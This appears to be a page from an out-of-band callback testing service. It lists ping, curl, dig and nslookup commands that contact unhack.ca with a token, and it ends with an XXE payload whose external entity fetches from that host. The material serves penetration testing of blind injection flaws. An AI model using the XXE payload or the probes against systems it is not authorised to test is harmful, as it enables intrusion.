$ ping -c1 -p 000581a54edf128afbd1eacb0ecfa400 unhack.ca
 

$ curl http://unhack.ca/p/0581a54edf128afbd1eacb0ecfa4
 

$ dig 0581a54edf128afbd1eacb0ecfa4 @unhack.ca
 

$ dig 0581a54edf128afbd1eacb0ecfa4.ns.unhack.ca
 

C:\> nslookup 0581a54edf128afbd1eacb0ecfa4 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/0581a54edf128afbd1eacb0ecfa4">]>
    <foo>&xxe;</foo>